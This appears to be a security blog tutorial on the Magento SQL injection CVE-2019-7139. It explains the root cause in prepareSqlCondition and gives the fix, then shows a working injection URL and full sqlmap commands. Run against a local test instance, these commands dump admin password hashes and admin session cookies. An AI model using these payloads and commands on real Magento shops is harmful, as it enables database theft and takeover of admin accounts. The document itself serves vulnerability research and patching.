Exploiting SQL Injection in Magento Using Sqlmap
- Article tags
In this article we show a new method of exploiting the critical SQL Injection vulnerability in Magento (CVE-2019-7139), using the well known SQLMap tool.
After explaining the vulnerability details, we show how to extract arbitrary information from the database with SQLMap which is a more powerful approach than the original exploit, which can extract very limited information.
Contents
1. About Magento
Magento is a popular open-source e-commerce platform with over 220,000 shops currently active. This makes it an attractive target for hackers. For the past couple of years, hackers leveraged multiple vulnerabilities to compromise Magento websites and plant malicious scripts that steal payment data on checkout pages. This type of attack is called web skimming and hackers used it to target thousands of websites.
2. Vulnerability analysis
CVE-2019-7139, also known as PRODSECBUG-2198, is an unauthenticated SQL injection vulnerability that affects some versions of Magento. The bug was uncovered by Charles Fol, a researcher for security company Ambionics.
The following versions of Magento are affected by this vulnerability:
• Magento Open Source <= 1.9.4.0
• Magento Commerce <= 1.14.4.0
• Magento 2.1 <= 2.1.16
• Magento 2.2 <= 2.2.7
• Magento 2.3.0
The vulnerability is present in the method prepareSqlCondition
from the file lib\Magento\Framework\DB\Adapter\Pdo\Mysql.php
and is caused by a logical error in how the SQL query is constructed.
To better understand the root cause of the vulnerability, we should take a look at some snippets of Magento code from this file. Here are the relevant lines for the vulnerability:
<?php
/****
** Build SQL statement for condition
**/
public function prepareSqlCondition($fieldName, $condition) {
$conditionKeyMap = [
'from' => "{ {fieldName} } >= ?",
'to' => "{ {fieldName} } <= ?"
];
$query = '';
if (is_array($condition)) {
if (isset($condition['from']) || isset($condition['to'])) {
if (isset($condition['from'])) {
[1] $from = $this->_prepareSqlDateCondition($condition, 'from');
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
}
if (isset($condition['to'])) {
$query .= empty($query) ? '' : ' AND ';
$to = $this->_prepareSqlDateCondition($condition, 'to');
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
}
}
}
return $query;
}
protected function _prepareQuotedSqlCondition($text, $value, $fieldName) {
$sql = $this->quoteInto($text, $value);
$sql = str_replace('{ {fieldName} }', $fieldName, $sql);
return $sql;
}
?>
With the associative array $condition
and the variable $fieldname
, the method prepareSqlCondition
constructs an SQL query by mapping the given conditions to $conditionKeyMap
. The vulnerability triggers when both fields $condition[‘from’] and $condition[‘to’] are set. Here’s the code that shows how and when it the bug pops up:
Our analysis starts from [1]:
1. First, we make the assignment $from = $condition['from']
. Then we have the call to _prepareQuotedSqlCondition
, which looks like this:
$query = $this->_prepareQuotedSqlCondition("{ {fieldName} } >= ?", $condition['from'], $fieldName)
What this method does is replace the first “?” that it finds with the variable $condition['from']
and then { {fieldName}
} with $fieldName
. At the end of this call, the query becomes:
$query = "$fieldName >= $condition['from']"
2. Now, for the field $condition['to']
. Our query first turns to:
$query = "$fieldName >= $condition['from'] AND "
The next step is to make the same assignment as before $to = $condition['to']
. An issue arises, though, as the next call will be:
$query = $this->_prepareQuotedSqlCondition("$fieldName >= $condition['from'] AND { {fieldName} } <= ?", $condition['to'], $fieldName)
As mentioned before, this method replaces the first “?” it finds with $condition['to']
. If we were to include a “?” in $condition['from']
, then we can replace that with $condition['to']
. For example, consider $condition['from'] = "?"
. The resulting query after the call above then becomes:
$query = "$fieldName >= $condition['to'] AND $fieldName <= ?"
By setting $condition ['to']
to the appropriate SQL code, we will have successfully modified the intended query. For instance, if $condition[‘to’] = "1 OR 1=1 -- "
, then the SQL query becomes $query = "$fieldName >= 1 OR 1=1 -- AND $fieldName <= ?"
.
3. Mitigation
To solve the problem, the line
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
should be:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
The latest versions of Magento already have this fix that removes the CVE-2019-7139 vulnerability.
4. Triggering the vulnerability
To reproduce the vulnerability in a test environment, we ran Magento 2.2.6 in Docker; the image is freely available from here.
In the original article, the vulnerability is leveraged by using the controller lib\Magento\Catalog\Controller\Product\Frontend\Action\Synchronize.php
. However, this exploitation method works only in Magento >= 2.2.0.
A valid URL for SQL Injection is:
https://local.magento/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Starting from this, we can trigger either a content-based blind SQLi or a time-based blind SQLi. Here are two examples of GET requests made to the database:
– Blind SQL Injection – Content-based
For content-based blind SQL Injection, the two queries below compare the first character of the current user with the character ‘A’. If the condition is true, the server returns HTTP 400 Bad Request, because we are trying to concatenate a 1 column result with a 2 columns result. If it’s false we get HTTP 200 OK, as the SELECT after UNION is ignored.
– Blind SQL Injection – Time-based
For time-based blind SQL Injection, we see a difference in the server’s response time. If the condition evaluates to false, SLEEP(5) is called, and the server will sleep for 5 seconds before responding. Otherwise, we get the response immediately.
5. Exploitation with SQLMap
The original author has already released a proof-of-concept exploit for this vulnerability; however, it is very limited in the amount of information it can extract from the database.
A more generic exploitation method is possible by using SQLMap. Our goal is to extract arbitrary information from the database, including the credentials of all Magento admin users.
SQLMap is the de-facto tool for exploiting database vulnerabilities because of its versatility in terms of supported parameters – like specify HTTP options, SQLi techniques, information to extract, and more. Since we know that vulnerability is a blind SQLi, the relevant techniques are content (called boolean blind by SQLMap) and time-based SQL injection. The easier path is a content-based attack and this is what we’ll focus on.
Note: To successfully use this method you have to use the parameters --ignore-code=400
or --code=400
; otherwise, SQLMap will assume that it’s doing something wrong when it receives HTTP error codes.
First steps
Before verifying the validity of our technique, here’s a list of some common parameters we’ll be using throughout this section:
-u : the target url, with parameters included
--prefix : prefix to add before the payload
--suffix : suffix to add after the payload
-p : parameter on which to inject the payload
--dbms : database we assume to be running on target
--level : range and number of payloads tried (1 to 5)
--risk : risks of tests to perform (1 to 3)
--technique : technique to use; choose from one or more letters from "BEUSTQ"
--o : some performance optimization
For start, we’ll extract the current database (parameter --current-db
) using the following command:
sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --current-db
The special parameters required to successfully exploit with SQLMap are: --prefix
, --suffix
and ignore-code
.
Results:
Getting more sensitive data
Now we want to extract more interesting stuff from the database, like the admin credentials. Here are the steps required for that:
Find tables with ‘admin’ in the name: we can use SQLMap to search for tables with certain strings in their names. Upon hitting one, it goes through it and prints the relevant results. The obvious table name in our case is ‘admin’, and here’s what SQLMap can find for us:
sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --search -T admin
Results:
If the site admin was careful and modified the default table names, we can try different search strings or enumerate all the table names in the database using –tables.
Now let’s dump the admin_user table and look inside:
sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --dump -D magento -T admin_user
The new parameters are used to specify the search area: -D
for database, -T
for the table. Here we’ll show just the username and password columns, as those are of interest:
User | Password |
---|---|
admin1 | 97999302a66b6dcf480c48681603509ef827d71423307f3461857bc26c4362c8: |
admin | 815bafca0bb99e3709f6fbe5b0d941d997a5c23d3f7a4e0bcc4a9b77b8608be9: |
Please note that the passwords are stored into the database as a string with three parts separated by “:”
1) hash of salt and password
2) salt, by default of 32 bits length
3) version, where 1 is SHA256 and 0 is MD5
Having this information, the passwords can be cracked with common tools like Hashcat or John the Ripper.
Instead of cracking passwords, a faster approach is to extract the session cookies from admin_user_session table, if there are any valid ones; these come with admin privileges on the site. By default, a session cookie is valid for 15 minutes, but this value is customizable. Just as before, we have to dump the contents of the table.To illustrate another functionality of SQLMap, here we’ll directly dump just the needed column.
sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --level=5 --risk=3 -o --dump -D magento -T admin_user_session -C session_id
Learn how to use SQLMap to exploit the SQL injection vulnerability in Magento
In this article, we explored a recent SQL Injection vulnerability in Magento (CVE-2019-7139), understood its root cause, and then we showed a more powerful exploitation method that uses SQLMap. You can also learn what happens when an authenticated user abuses Magento’s Protocol Directives to achieve Remote Code Execution based on the way PHAR files are deserialized.
We recommend upgrading Magento to the latest version to mitigate this vulnerability as it is relatively easy to exploit.